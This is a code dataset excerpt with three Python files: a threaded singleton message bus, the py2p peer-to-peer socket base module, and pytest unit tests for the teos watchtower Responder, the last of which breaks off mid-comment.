source
stringlengths
3
86
python
stringlengths
75
1.04M
message_bus.py
#! /usr/bin/env python3 # _*_coding:utf-8 -*_ from queue import Queue, Empty from threading import * def singleton(cls): _instance = {} def _singleton(*args, **kargs): if cls not in _instance: _instance[cls] = cls(*args, **kargs) return _instance[cls] return _singleton @singleton class MessageBus(object): def __init__(self): """初始化事件管理器""" # 对象列表 self.__msg_queue = Queue() # 事件管理器开关 self.__active = False self.__queue_lock = Lock() # 事件处理线程 self.__thread = Thread(target=self.___run) # 这里的__handlers是一个字典,用来保存对应的事件的响应函数 # 其中每个键对应的值是一个列表,列表中保存了对该事件监听的响应函数,一对多 self.__handlers = {} def ___run(self): """引擎运行""" while self.__active: try: # self.__queue_lock.acquire(timeout=0.1) # 获取事件的阻塞时间设为1秒 msg = self.__msg_queue.get(block=True, timeout=0.1) # self.__queue_lock.release() self.___msg_process(msg) except Empty: pass def ___msg_process(self, msg): """处理事件""" # 检查是否存在对该事件进行监听的处理函数 if msg.subject in self.__handlers: # 若存在,则按顺序将事件传递给处理函数执行 for handler in self.__handlers[msg.subject]: Thread(target=handler, args=(msg,)).start() # handler(msg) def start(self): """启动""" # 将事件管理器设为启动 self.__active = True self.__thread.daemon = True # 启动事件处理线程 self.__thread.start() def stop(self): """停止""" # 将事件管理器设为停止 self.__active = False # 等待事件处理线程退出 # self.__thread.join() def add_msg_listener(self, subject, handler): """ 绑定事件和监听器处理函数 :param subject: 事件类型,字符串 :param handler: 事件处理函数 :return: """ # 尝试获取该事件类型对应的处理函数列表,若无则创建 try: handler_list = self.__handlers[subject] except KeyError: handler_list = [] self.__handlers[subject] = handler_list # 若要注册的处理器不在该事件的处理器列表中,则注册该事件 if handler not in handler_list: handler_list.append(handler) def remove_msg_listener(self, subject, handler): """ 移除监听器的处理函数 :param subject: 事件类型,字符串 :param handler: 事件处理函数 :return: """ try: self.__handlers[subject].remove(handler) except: pass def send_msg(self, msg): """ 发送事件,向事件队列中存入事件 """ self.__msg_queue.put(msg) class Message: """ 事件对象 """ def __init__(self, subject=None): self.subject = subject # 事件类型 self.data = {} # 字典用于保存具体的事件数据 if __name__ == '__main__': msg_bus = MessageBus()
base.py
"""A library to store common functions and protocol definitions""" from __future__ import absolute_import from __future__ import print_function from __future__ import with_statement import inspect from hashlib import (sha256, sha384) from itertools import chain from logging import (getLogger, DEBUG) from socket import (SHUT_RDWR, error as SocketException, timeout as TimeoutException) from sys import version_info from threading import (Lock, Thread, current_thread) from traceback import format_exc from uuid import uuid4 from base58 import (b58encode, b58encode_int) from pyee import EventEmitter from typing import (cast, Any, Callable, Dict, Iterable, List, NamedTuple, Sequence, Tuple, Union) from . import flags from .messages import (compression, InternalMessage, MsgPackable) from .utils import (getUTC, intersect, get_lan_ip, get_socket, inherit_doc, log_entry, unpack_value) protocol_version = "0.7" node_policy_version = "870" version = '.'.join((protocol_version, node_policy_version)) plock = Lock() user_salt = str(uuid4()).encode() class Protocol( NamedTuple("_Protocol", [('subnet', str), ('encryption', str)])): """Defines service variables so that you can reject connections looking for a different service Attributes: subnet: The subnet flag this Protocol uses encryption: The encryption method this Protocol uses id: The SHA-256 based ID of this Protocol """ __slots__ = () @property def id(self): # type: (Protocol) -> bytes """The SHA-256-based ID of the Protocol""" h = sha256(''.join(str(x) for x in self).encode()) h.update(protocol_version.encode()) return b58encode_int(int(h.hexdigest(), 16)) default_protocol = Protocol('', "Plaintext") # SSL") class BaseConnection(object): """The base class for a connection""" __slots__ = ('sock', 'server', 'outgoing', 'buffer', 'id', 'time', 'addr', 'compression', 'last_sent', 'expected', 'active') @log_entry('py2p.base.BaseConnection.__init__', DEBUG) def __init__(self, sock, server, outgoing=False): # type: (BaseConnection, Any, BaseSocket, bool) -> None """Sets up a connection to another peer-to-peer socket Args: sock: The connected socket object server: A reference to your peer-to-peer socket outgoing: Whether this connection is outgoing (default: False) """ self.sock = sock self.server = server self.outgoing = outgoing self.buffer = bytearray() self.id = None # type: Union[None, bytes] self.time = getUTC() self.addr = None # type: Union[None, Tuple[str, int]] self.compression = [] # type: List[int] self.last_sent = () # type: Tuple[MsgPackable, ...] self.expected = 4 self.active = False def send_InternalMessage( self, # type: BaseConnection msg # type: InternalMessage ): # type: (...) -> Union[InternalMessage, None] """Sends a preconstructed message Args: msg: The :py:class:`~py2p.base.IntenalMessage` you wish to send Returns: the :py:class:`~py2p.base.IntenalMessage` object you just sent, or ``None`` if the sending was unsuccessful """ msg.compression = self.compression # type: ignore if msg.msg_type in (flags.whisper, flags.broadcast): self.last_sent = msg.payload self.__print__("Sending %s to %s" % (msg.packets, self), level=4) if msg.compression_used: self.__print__( "Compressing with %s" % repr(msg.compression_used), level=4) try: self.sock.send(msg.string) return msg except (IOError, SocketException) as e: # pragma: no cover self.server.daemon.exceptions.append(format_exc()) self.server.disconnect(self) return None def send( self, # type: BaseConnection msg_type, # type: MsgPackable *args, # type: MsgPackable **kargs # type: Union[bytes, int] ): # type: (...) -> InternalMessage """Sends a message through its connection. Args: msg_type: Message type, corresponds to the header in a :py:class:`~py2p.base.InternalMessage` object *args: A list of bytes-like objects, which correspond to the packets to send to you **kargs: There are two available keywords: id: The ID this message should appear to be sent from (default: your ID) time: The time this message should appear to be sent from (default: now in UTC) Returns: the :py:class:`~py2p.base.IntenalMessage` object you just sent, or ``None`` if the sending was unsuccessful """ # Latter is returned if key not found id = cast(bytes, kargs.get('id', self.server.id)) time = cast(int, kargs.get('time') or getUTC()) # Begin real method msg = InternalMessage( msg_type, id, args, self.compression, timestamp=time) return self.send_InternalMessage(msg) @property def protocol(self): # type: (BaseConnection) -> Protocol """Returns server.protocol""" return self.server.protocol def collect_incoming_data(self, data): # type: (BaseConnection, Union[bytes, bytearray]) -> bool """Collects incoming data Args: data: The most recently received :py:class:`bytes` Returns: ``True`` if the data collection was successful, ``False`` if the connection was closed """ if not bool(data): try: self.sock.shutdown(SHUT_RDWR) except: pass return False self.buffer.extend(data) self.time = getUTC() if not self.active and self.find_terminator(): self.__print__( self.buffer, self.expected, self.find_terminator(), level=4) self.expected = unpack_value(bytes(self.buffer[:4])) + 4 self.active = True return True def find_terminator(self): # type: (BaseConnection) -> bool """Returns whether the defined return sequences is found""" return len(self.buffer) >= self.expected def found_terminator(self): # type: (BaseConnection) -> InternalMessage """Processes received messages""" raw_msg, self.buffer = bytes( self.buffer[:self.expected]), self.buffer[self.expected:] self.__print__("Received: %s" % repr(raw_msg), level=6) self.active = len(self.buffer) > 4 if self.active: self.expected = unpack_value(bytes(self.buffer[:4])) + 4 else: self.expected = 4 msg = InternalMessage.feed_string(raw_msg, False, self.compression) return msg def handle_renegotiate(self, packets): # type: (BaseConnection, Sequence[MsgPackable]) -> bool """The handler for connection renegotiations This is to deal with connection maintenance. For instance, it could be that a compression method fails to decode on the other end, and a node will need to renegotiate which methods it is using. Hence the name of the flag associated with it, "renegotiate". Args: packets: A :py:class:`tuple` containing the packets received in this message Returns: ``True`` if an action was taken, ``False`` if not """ if packets[0] == flags.renegotiate: if packets[3] == flags.compression: encoded_methods = packets[4] respond = (self.compression != encoded_methods) self.compression = list(cast(Iterable[int], encoded_methods)) self.__print__( "Compression methods changed to: %s" % repr( self.compression), level=2) if respond: self.send(flags.renegotiate, flags.compression, cast(Tuple[int, ...], intersect(compression, self.compression))) return True elif packets[3] == flags.resend: self.send(*self.last_sent) return True return False def fileno(self): # type: (BaseConnection) -> int """Mirror for the fileno() method of the connection's underlying socket """ return self.sock.fileno() def __print__(self, *args, **kargs): # type: (BaseConnection, *Any, **int) -> None """Private method to print if level is <= self.server.debug_level Args: *args: Each argument you wish to feed to the print method **kargs: One keyword is used here: level, which defines the lowest value of self.server.debug_level at which the message will be printed """ self.server.__print__(*args, **kargs) class BaseDaemon(object): """The base class for a daemon""" __slots__ = ('server', 'sock', 'exceptions', 'alive', '_logger', 'main_thread', 'daemon', 'conn_type') @log_entry('py2p.base.BaseDaemon.__init__', DEBUG) def __init__(self, addr, port, server): # type: (Any, str, int, BaseSocket) -> None """Sets up a daemon process for your peer-to-peer socket Args: addr: The address you wish to bind to port: The port you wish to bind to server: A reference to the peer-to-peer socket Raises: socket.error: The address you wanted is already in use ValueError: If your peer-to-peer socket is set up with an unknown encryption method """ self.server = server self.sock = get_socket(self.protocol, True) self.sock.bind((addr, port)) self.sock.listen(5) self.sock.settimeout(0.1) self.exceptions = [] # type: List[str] self.alive = True self._logger = getLogger('{}.{}.{}'.format(self.__class__.__module__, self.__class__.__name__, self.server.id)) self.main_thread = current_thread() self.daemon = Thread(target=self.mainloop) self.daemon.start() @property def protocol(self): # type: (BaseDaemon) -> Protocol """Returns server.protocol""" return self.server.protocol def kill_old_nodes(self, handler): # type: (BaseDaemon, BaseConnection) -> None """Cleans out connections which never finish a message""" if handler.active and handler.time < getUTC() - 60: self.server.disconnect(handler) def process_data(self, handler): # type: (BaseDaemon, BaseConnection) -> None """Collects incoming data from nodes""" try: while not handler.find_terminator(): if not handler.collect_incoming_data(handler.sock.recv(1024)): self.__print__( "disconnecting node %s while in loop" % handler.id, level=6) # self.server.disconnect(handler) self.server.request_peers() return while handler.find_terminator(): handler.found_terminator() except TimeoutException: # pragma: no cover return # Shouldn't happen with select, but if it does... except Exception as e: if (isinstance(e, SocketException) and e.args[0] in (9, 104, 10053, 10054, 10058)): node_id = repr(handler.id or handler) self.__print__( "Node %s has disconnected from the network" % node_id, level=1) else: self.__print__( "There was an unhandled exception with peer id %s. This " "peer is being disconnected, and the relevant exception " "is added to the debug queue. If you'd like to report " "this, please post a copy of your MeshSocket.status to " "git.p2p.today/issues." % handler.id, level=6) self.__print__("This exception was: {}".format(e), level=1) self.exceptions.append(format_exc()) # self.server.disconnect(handler) self.server.request_peers() def __del__(self): # type: (BaseDaemon) -> None self.alive = False try: self.sock.shutdown(SHUT_RDWR) except: # pragma: no cover pass @inherit_doc(BaseConnection.__print__) def __print__(self, *args, **kargs): # type: (BaseDaemon, *Any, **int) -> None self.server.__print__(*args, **kargs) class BaseSocket(EventEmitter, object): """ The base class for a peer-to-peer socket abstractor .. inheritance-diagram:: py2p.base.BaseSocket """ __slots__ = ('protocol', 'debug_level', 'routing_table', 'awaiting_ids', 'out_addr', 'id', '_logger', '__handlers', '__closed') @log_entry('py2p.base.BaseSocket.__init__', DEBUG) def __init__( self, # type: Any addr, # type: str port, # type: int prot=default_protocol, # type: Protocol out_addr=None, # type: Union[None, Tuple[str, int]] debug_level=0 # type: int ): # type: (...) -> None """Initializes a peer to peer socket Args: addr: The address you wish to bind to (ie: "192.168.1.1") port: The port you wish to bind to (ie: 44565) prot: The protocol you wish to operate over, defined by a :py:class:`py2p.base.Protocol` object out_addr: Your outward facing address. Only needed if you're connecting over the internet. If you use '0.0.0.0' for the addr argument, this will automatically be set to your LAN address. debug_level: The verbosity you want this socket to use when printing event data Raises: socket.error: The address you wanted could not be bound, or is otherwise used """ object.__init__(self) EventEmitter.__init__(self) self.protocol = prot self.debug_level = debug_level self.routing_table = {} # type: Dict[bytes, BaseConnection] # In format {ID: handler} self.awaiting_ids = [] # type: List[BaseConnection] # Connected, but not handshook yet if out_addr: # Outward facing address, if you're port forwarding self.out_addr = out_addr elif addr == '0.0.0.0': self.out_addr = get_lan_ip(), port else: self.out_addr = addr, port info = (str(self.out_addr).encode(), prot.id, user_salt) h = sha384(b''.join(info)) self.id = b58encode_int(int(h.hexdigest(), 16)) # type: bytes self._logger = getLogger('{}.{}.{}'.format( self.__class__.__module__, self.__class__.__name__, self.id)) self.__handlers = [ ] # type: List[Callable[[Message, BaseConnection], Union[bool, None]]] self.__closed = False def close(self): # type: (BaseSocket) -> None """If the socket is not closed, close the socket Raises: RuntimeError: The socket was already closed """ if self.__closed: raise RuntimeError("Already closed") else: self.daemon.alive = False self.daemon.daemon.join() self.debug_level = 0 try: self.daemon.sock.shutdown(SHUT_RDWR) except: pass for conn in chain( tuple(self.routing_table.values()), self.awaiting_ids): self.disconnect(conn) self.__closed = True if version_info >= (3, ): def register_handler( self, # type: BaseSocket method # type: Callable[..., Union[bool, None]] ): # type: (...) -> None """Register a handler for incoming method. Args: method: A function with two given arguments. Its signature should be of the form ``handler(msg, handler)``, where msg is a :py:class:`py2p.base.Message` object, and handler is a :py:class:`py2p.base.BaseConnection` object. It should return ``True`` if it performed an action, to reduce the number of handlers checked. Raises: ValueError: If the method signature doesn't parse correctly """ args = inspect.signature(method) if (len(args.parameters) != (3 if args.parameters.get('self') else 2)): raise ValueError( "This method must contain exactly two arguments " "(or three if first is self)") self.__handlers.append(method) else: def register_handler( self, # type: BaseSocket method # type: Callable[..., Union[bool, None]] ): # type: (...) -> None """Register a handler for incoming method. Args: method: A function with two given arguments. Its signature should be of the form ``handler(msg, handler)``, where msg is a :py:class:`py2p.base.Message` object, and handler is a :py:class:`py2p.base.BaseConnection` object. It should return ``True`` if it performed an action, to reduce the number of handlers checked. Raises: ValueError: If the method signature doesn't parse correctly """ args = inspect.getargspec(method) if (args[1:] != (None, None, None) or len(args[0]) != (3 if args[0][0] == 'self' else 2)): raise ValueError( "This method must contain exactly two arguments " "(or three if first is self)") self.__handlers.append(method) def handle_msg(self, msg, conn): # type: (BaseSocket, Message, BaseConnection) -> Union[bool, None] """Decides how to handle various message types, allowing some to be handled automatically Args: msg: A :py:class:`py2p.base.Message` object conn: A :py:class:`py2p.base.BaseConnection` object Returns: True if an action was taken, None if not. """ for handler in self.__handlers: self.__print__("Checking handler: %s" % handler.__name__, level=4) if handler(msg, conn): self.__print__( "Breaking from handler: %s" % handler.__name__, level=4) return True return None @property def status(self): # type: (BaseSocket) -> Union[str, List[str]] """The status of the socket. Returns: ``"Nominal"`` if all is going well, or a list of unexpected (Exception, traceback) tuples if not """ return self.daemon.exceptions or "Nominal" @property def outgoing(self): # type: (BaseSocket) -> Iterable[bytes] """IDs of outgoing connections""" return (handler.id for handler in self.routing_table.values() if handler.outgoing) @property def incoming(self): # type: (BaseSocket) -> Iterable[bytes] """IDs of incoming connections""" return (handler.id for handler in self.routing_table.values() if not handler.outgoing) def __print__(self, *args, **kargs): # type: (BaseSocket, *Any, **int) -> None """Private method to print if level is <= self.debug_level Args: *args: Each argument you wish to feed to the print method **kargs: One keyword is used here: level, which defines the lowest value of self.debug_level at which the message will be printed """ if kargs.get('level', 0) <= self.debug_level: with plock: print(self.out_addr[1], *args) def __del__(self): # type: (BaseSocket) -> None if not self.__closed: self.close() class Message(object): """An object which gets returned to a user, containing all necessary information to parse and reply to a message """ __slots__ = ('msg', 'server') def __init__(self, msg, server): # type: (Message, InternalMessage, BaseSocket) -> None """Initializes a Message object Args: msg: A :py:class:`py2p.base.InternalMessage` object server: A :py:class:`py2p.base.BaseSocket` object """ self.msg = msg self.server = server @property def time(self): # type: (Message) -> int """The time this Message was sent at""" return self.msg.time @property # type: ignore @inherit_doc(InternalMessage.time_58) def time_58(self): # type: (Message) -> bytes return self.msg.time_58 @property def sender(self): # type: (Message) -> bytes """The ID of this Message's sender""" return self.msg.sender @property # type: ignore @inherit_doc(InternalMessage.id) def id(self): # type: (Message) -> bytes return self.msg.id @property # type: ignore @inherit_doc(InternalMessage.payload) def packets(self): # type: (Message) -> Tuple[MsgPackable, ...] return self.msg.payload @inherit_doc(InternalMessage.__len__) def __len__(self): # type: (Message) -> int return self.msg.__len__() def __repr__(self): # type: (Message) -> str packets = self.packets return "Message(type={}, packets={}, sender={})".format( packets[0], packets[1:], self.sender) def reply(self, *args): # type: (Message, *MsgPackable) -> None """Replies to the sender if you're directly connected. Tries to make a connection otherwise Args: *args: Each argument given is a packet you wish to send. This is prefixed with base.flags.whisper, so the other end will receive ``[base.flags.whisper, *args]`` """ self.server._logger.debug( 'Initiating a direct reply to Message ID {}'.format(self.id)) if self.server.routing_table.get(self.sender): self.server.routing_table.get(self.sender).send( flags.whisper, flags.whisper, *args) else: self.server._logger.debug('Requesting connection for direct reply' ' to Message ID {}'.format(self.id)) request_hash = sha384( self.sender + b58encode_int(getUTC()).decode()).hexdigest() request_id = b58encode_int(int(request_hash, 16)).decode() self.server.send(request_id, self.sender, type=flags.request) to_send = (flags.whisper, flags.whisper) # type: Tuple[MsgPackable, ...] self.server.requests[request_id] = to_send + args self.server._logger.critical( "You aren't connected to the original sender. This reply is " "not guarunteed, but we're trying to make a connection and " "put the message through.")
test_responder.py
import time import pytest import random from uuid import uuid4 from queue import Queue from copy import deepcopy from threading import Thread from teos.gatekeeper import UserInfo, Gatekeeper as RealGatekeeper from teos.responder import Responder, TransactionTracker, CONFIRMATIONS_BEFORE_RETRY from common.constants import LOCATOR_LEN_HEX from test.teos.unit.mocks import AppointmentsDBM, Gatekeeper, Carrier, BlockProcessor from test.teos.conftest import ( config, mock_generate_blocks, generate_blocks_with_delay, ) from test.teos.unit.conftest import ( get_random_value_hex, run_test_blocking_command_bitcoind_crash, ) from test.teos.unit.test_watcher import mock_receipt_true, mock_receipt_false @pytest.fixture def responder(dbm_mock, gatekeeper_mock, carrier_mock, block_processor_mock): responder = Responder(dbm_mock, gatekeeper_mock, carrier_mock, block_processor_mock) return responder def test_tracker_init(): # Simple test to check that creating a Tracker works locator = get_random_value_hex(32) dispute_txid = get_random_value_hex(32) penalty_txid = get_random_value_hex(32) penalty_tx = get_random_value_hex(200) user_id = get_random_value_hex(16) tracker = TransactionTracker(locator, dispute_txid, penalty_txid, penalty_tx, user_id) assert ( tracker.locator == locator and tracker.dispute_txid == dispute_txid and tracker.penalty_txid == penalty_txid and tracker.penalty_rawtx == penalty_tx and tracker.user_id == user_id ) def test_tracker_to_dict(generate_dummy_tracker): # Check that the tracker can be converted into a dictionary tracker = generate_dummy_tracker() tracker_dict = tracker.to_dict() assert ( tracker.locator == tracker_dict["locator"] and tracker.dispute_txid == tracker_dict["dispute_txid"] and tracker.penalty_txid == tracker_dict["penalty_txid"] and tracker.penalty_rawtx == tracker_dict["penalty_rawtx"] and tracker.user_id == tracker_dict["user_id"] ) def test_tracker_from_dict(generate_dummy_tracker): # Check that a tracker can be created from a dictionary tracker_dict = generate_dummy_tracker().to_dict() new_tracker = TransactionTracker.from_dict(tracker_dict) assert tracker_dict == new_tracker.to_dict() def test_tracker_from_dict_invalid_data(generate_dummy_tracker): # If the provided dict data is invalid, the Tracker creation will fail tracker_dict = generate_dummy_tracker().to_dict() for value in ["locator", "dispute_txid", "penalty_txid", "penalty_rawtx", "user_id"]: tracker_dict_copy = deepcopy(tracker_dict) tracker_dict_copy[value] = None with pytest.raises(ValueError): TransactionTracker.from_dict(tracker_dict_copy) def test_tracker_get_summary(generate_dummy_tracker): # Check that the summary of the tracker can be created from valid data tracker = generate_dummy_tracker() assert tracker.get_summary() == { "locator": tracker.locator, "user_id": tracker.user_id, "penalty_txid": tracker.penalty_txid, } def test_init_responder(responder): # Test that the Responder init set the proper parameters in place. We use mocks for the other components but it # shouldn't matter assert isinstance(responder.trackers, dict) and len(responder.trackers) == 0 assert isinstance(responder.tx_tracker_map, dict) and len(responder.tx_tracker_map) == 0 assert isinstance(responder.unconfirmed_txs, list) and len(responder.unconfirmed_txs) == 0 assert isinstance(responder.missed_confirmations, dict) and len(responder.missed_confirmations) == 0 assert isinstance(responder.block_queue, Queue) and responder.block_queue.empty() assert isinstance(responder.db_manager, AppointmentsDBM) assert isinstance(responder.gatekeeper, Gatekeeper) assert isinstance(responder.carrier, Carrier) assert isinstance(responder.block_processor, BlockProcessor) assert responder.last_known_block is None or isinstance(responder.last_known_block, str) def test_on_sync(responder, monkeypatch): # We're on sync if we're, at most, 1 block behind the tip chain_tip = get_random_value_hex(32) monkeypatch.setattr(responder.block_processor, "get_distance_to_tip", lambda x, blocking: 0) assert responder.on_sync(chain_tip) is True monkeypatch.setattr(responder.block_processor, "get_distance_to_tip", lambda x, blocking: 1) assert responder.on_sync(chain_tip) is True # Otherwise we are off sync monkeypatch.setattr(responder.block_processor, "get_distance_to_tip", lambda x, blocking: 2) assert responder.on_sync(chain_tip) is False def test_handle_breach(responder, generate_dummy_tracker, monkeypatch): tracker = generate_dummy_tracker() # Mock the interaction with the Carrier. We're simulating the tx going through, meaning the commitment is already # in the chain monkeypatch.setattr(responder.carrier, "send_transaction", mock_receipt_true) # Check the breach receipt = responder.handle_breach( tracker.locator, uuid4().hex, tracker.dispute_txid, tracker.penalty_txid, tracker.penalty_rawtx, tracker.user_id, block_hash=get_random_value_hex(32), ) assert receipt.delivered is True def test_handle_breach_bad_response(responder, generate_dummy_tracker, monkeypatch): tracker = generate_dummy_tracker() # Mock the interaction with the Carrier. We're simulating the tx NOT going through, meaning the commitment is not # in the chain monkeypatch.setattr(responder.carrier, "send_transaction", mock_receipt_false) # Check a breach without the commitment being known receipt = responder.handle_breach( tracker.locator, uuid4().hex, tracker.dispute_txid, tracker.penalty_txid, tracker.penalty_rawtx, tracker.user_id, block_hash=get_random_value_hex(32), ) # The penalty should be therefore rejected assert receipt.delivered is False def test_add_tracker(responder, generate_dummy_tracker): # Test adding trackers to the Responder. Notice that adding trackers is guarded by handle_breach, meaning that, for # the sake of the test, we can add data assuming it has already been checked. for _ in range(20): uuid = uuid4().hex confirmations = 0 tracker = generate_dummy_tracker() # Check the tracker is not within the responder trackers before adding it assert uuid not in responder.trackers assert tracker.penalty_txid not in responder.tx_tracker_map assert tracker.penalty_txid not in responder.unconfirmed_txs responder.add_tracker( uuid, tracker.locator, tracker.dispute_txid, tracker.penalty_txid, tracker.penalty_rawtx, tracker.user_id, confirmations, ) # Check the tracker is within the responder after add_tracker assert uuid in responder.trackers assert tracker.penalty_txid in responder.tx_tracker_map assert tracker.penalty_txid in responder.unconfirmed_txs # Check that the rest of tracker data also matches assert ( responder.trackers[uuid].get("penalty_txid") == tracker.penalty_txid and responder.trackers[uuid].get("locator") == tracker.locator and responder.trackers[uuid].get("user_id") == tracker.user_id ) def test_add_tracker_same_penalty_txid(responder, generate_dummy_tracker): # Test that multiple trackers with the same penalty can be added confirmations = 0 tracker = generate_dummy_tracker() uuid_1 = uuid4().hex uuid_2 = uuid4().hex for uuid in [uuid_1, uuid_2]: responder.add_tracker( uuid, tracker.locator, tracker.dispute_txid, tracker.penalty_txid, tracker.penalty_rawtx, tracker.user_id, confirmations, ) # Check that both trackers have been added assert uuid_1 in responder.trackers and uuid_2 in responder.trackers assert tracker.penalty_txid in responder.tx_tracker_map assert tracker.penalty_txid in responder.unconfirmed_txs # Check that the rest of tracker data also matches for uuid in [uuid_1, uuid_2]: assert ( responder.trackers[uuid].get("penalty_txid") == tracker.penalty_txid and responder.trackers[uuid].get("locator") == tracker.locator and responder.trackers[uuid].get("user_id") == tracker.user_id ) def test_add_tracker_already_confirmed(responder, generate_dummy_tracker): # Tests that a tracker of an already confirmed penalty can be added for i in range(20): uuid = uuid4().hex confirmations = i + 1 tracker = generate_dummy_tracker() responder.add_tracker( uuid, tracker.locator, tracker.dispute_txid, tracker.penalty_txid, tracker.penalty_rawtx, tracker.user_id, confirmations, ) # In this case the tracker won't be added to the unconfirmed transactions list assert tracker.penalty_txid not in responder.unconfirmed_txs assert ( responder.trackers[uuid].get("penalty_txid") == tracker.penalty_txid and responder.trackers[uuid].get("locator") == tracker.locator and responder.trackers[uuid].get("user_id") == tracker.user_id ) def test_do_watch(responder, user_dbm_mock, generate_dummy_tracker, monkeypatch): # We need a real Gatekeeper to check that the data is properly deleted when necessary responder.gatekeeper = RealGatekeeper( user_dbm_mock, responder.block_processor, config.get("SUBSCRIPTION_SLOTS"), config.get("SUBSCRIPTION_DURATION"), config.get("EXPIRY_DELTA"), ) trackers_uuids = [uuid4().hex for _ in range(20)] trackers = [generate_dummy_tracker() for _ in range(20)] # Add the trackers to the Responder and to the Watchers database (so we can check for deletion later on) for uuid, tracker in zip(trackers_uuids, trackers): responder.add_tracker( uuid, tracker.locator, tracker.dispute_txid, tracker.penalty_txid, tracker.penalty_rawtx, tracker.user_id, ) # This is stored just to check for deletion once the Tracker is completed responder.db_manager.create_triggered_appointment_flag(uuid) responder.db_manager.store_watcher_appointment(uuid, tracker.to_dict()) # Add the data to the Gatekeeper too so we can check it being deleted when it's due for uuid, tracker in zip(trackers_uuids, trackers): if tracker.user_id in responder.gatekeeper.registered_users: responder.gatekeeper.registered_users[tracker.user_id].appointments[uuid] = 1 else: responder.gatekeeper.registered_users[tracker.user_id] = UserInfo(100, 1000, {uuid: 1}) # Let's start to watch blocks = {} do_watch_thread = Thread(target=responder.do_watch, daemon=True) do_watch_thread.start() time.sleep(1) # Mock the Gatekeeper, the Carrier and the penalties as broadcast broadcast_txs = [tracker.penalty_txid for tracker in trackers[:5]] rest_txs = [tracker.penalty_txid for tracker in trackers[5:]] monkeypatch.setattr(responder.gatekeeper, "get_outdated_appointments", lambda x: []) next_block = { "tx": broadcast_txs, "previousblockhash": responder.last_known_block, "height": 1, "hash": get_random_value_hex(32), } monkeypatch.setattr( responder.block_processor, "get_block", lambda x, blocking: next_block, ) # Mock a new block and check mock_generate_blocks(1, blocks, responder.block_queue) # The transactions we sent shouldn't be in the unconfirmed transaction list anymore assert not set(broadcast_txs).issubset(responder.unconfirmed_txs) # CONFIRMATIONS_BEFORE_RETRY-1 blocks after, the responder should rebroadcast the unconfirmed txs (15 remaining) monkeypatch.setattr( responder.block_processor, "get_block", lambda x, blocking: blocks.get(x), ) monkeypatch.setattr(responder.carrier, "send_transaction", mock_receipt_true) mock_generate_blocks( CONFIRMATIONS_BEFORE_RETRY - 1, blocks, responder.block_queue, prev_block_hash=responder.last_known_block ) # Check that the transactions have been just rebroadcast for _, conf in responder.missed_confirmations.items(): assert conf == 0 # Add one more block containing the unconfirmed transactions that were just broadcast mock_generate_blocks(1, blocks, responder.block_queue, prev_block_hash=responder.last_known_block, txs=rest_txs) assert len(responder.unconfirmed_txs) == 0 assert len(responder.trackers) == 20 # Generating 100 - CONFIRMATIONS_BEFORE_RETRY -2 additional blocks should complete the first 5 trackers # This can be simulated mocking Responder.get_completed_trackers monkeypatch.setattr(responder, "get_completed_trackers", lambda: trackers_uuids[:5]) # Generate a block to force the update mock_generate_blocks(1, blocks, responder.block_queue, prev_block_hash=responder.last_known_block) # The trackers are not in memory anymore nor the database assert len(responder.unconfirmed_txs) == 0 assert len(responder.trackers) == 15 # Check they are not in the Gatekeeper either for tracker in trackers[:5]: assert len(responder.gatekeeper.registered_users[tracker.user_id].appointments) == 0 # And they have been removed from the database too (both Responder's and Watcher's) db_trackers = responder.db_manager.load_responder_trackers() assert not set(trackers_uuids[:5]).issubset(list(db_trackers.keys())) assert set(trackers_uuids[5:]).issubset(list(db_trackers.keys())) watcher_flags = responder.db_manager.load_all_triggered_flags() assert not set(trackers_uuids[:5]).issubset(watcher_flags) assert set(trackers_uuids[5:]).issubset(watcher_flags) db_appointments = responder.db_manager.load_watcher_appointments(include_triggered=True) assert not set(trackers_uuids[:5]).issubset(db_appointments) assert set(trackers_uuids[5:]).issubset(db_appointments) # CONFIRMATIONS_BEFORE_RETRY additional blocks should complete the rest monkeypatch.setattr(responder, "get_completed_trackers", lambda: trackers_uuids[5:]) # Generate a block to force the update mock_generate_blocks(1, blocks, responder.block_queue, prev_block_hash=responder.last_known_block) assert len(responder.unconfirmed_txs) == 0 assert len(responder.trackers) == 0 # Check they are not in the Gatekeeper either for tracker in trackers[5:]: assert len(responder.gatekeeper.registered_users[tracker.user_id].appointments) == 0 # The data is not in the database either assert len(responder.db_manager.load_responder_trackers()) == 0 assert len(responder.db_manager.load_watcher_appointments()) == 0 assert len(responder.db_manager.load_all_triggered_flags()) == 0 def test_check_confirmations(responder, monkeypatch): # check_confirmations checks, given a list of transaction for a block, what of the known penalty transaction have # been confirmed. To test this we need to create a list of transactions and the state of the Responder # The responder has a list of unconfirmed transaction, let make that some of them are the ones we've received txs = [get_random_value_hex(32) for _ in range(20)] unconfirmed_txs = [get_random_value_hex(32) for _ in range(10)] txs_subset = random.sample(txs, k=10) unconfirmed_txs.extend(txs_subset) # We also need to add them to the tx_tracker_map since they would be there in normal conditions tx_tracker_map = { txid: TransactionTracker(txid[:LOCATOR_LEN_HEX], txid, None, None, None) for txid in unconfirmed_txs } # Mock the structures monkeypatch.setattr(responder, "unconfirmed_txs", unconfirmed_txs) monkeypatch.setattr(responder, "tx_tracker_map", tx_tracker_map) # Let's make sure that there are no txs with missed confirmations yet assert len(responder.missed_confirmations) == 0 # After checking confirmations the txs in txs_subset should be confirmed (not part of unconfirmed_txs anymore) # and the rest should have a missing confirmation responder.check_confirmations(txs) for tx in txs_subset: assert tx not in responder.unconfirmed_txs for tx in responder.unconfirmed_txs: assert responder.missed_confirmations[tx] == 1 def test_get_txs_to_rebroadcast(responder, monkeypatch): # Transactions are flagged to be rebroadcast once they've missed 6 confirmations. # Let's create a few fake txids and assign at least 6 missing confirmations to each txs_missing_too_many_conf = {get_random_value_hex(32): 6 + i for i in range(10)} # Let's create some other transaction that has missed some confirmations but not that many txs_missing_some_conf = {get_random_value_hex(32): 3 for _ in range(10)} # All the txs in the first dict should be flagged as to_rebroadcast monkeypatch.setattr(responder, "missed_confirmations", txs_missing_too_many_conf) txs_to_rebroadcast = responder.get_txs_to_rebroadcast() assert txs_to_rebroadcast == list(txs_missing_too_many_conf.keys()) # Non of the txs in the second dict should be flagged monkeypatch.setattr(responder, "missed_confirmations", txs_missing_some_conf) txs_to_rebroadcast = responder.get_txs_to_rebroadcast() assert txs_to_rebroadcast == [] # Let's check that it also works with a mixed dict txs_missing_some_conf.update(txs_missing_too_many_conf) txs_to_rebroadcast = responder.get_txs_to_rebroadcast() assert txs_to_rebroadcast == list(txs_missing_too_many_conf.keys()) def test_get_completed_trackers(responder, generate_dummy_tracker, monkeypatch): # A complete tracker is a tracker whose penalty transaction has been irrevocably resolved (i.e. has reached 100 # confirmations) # 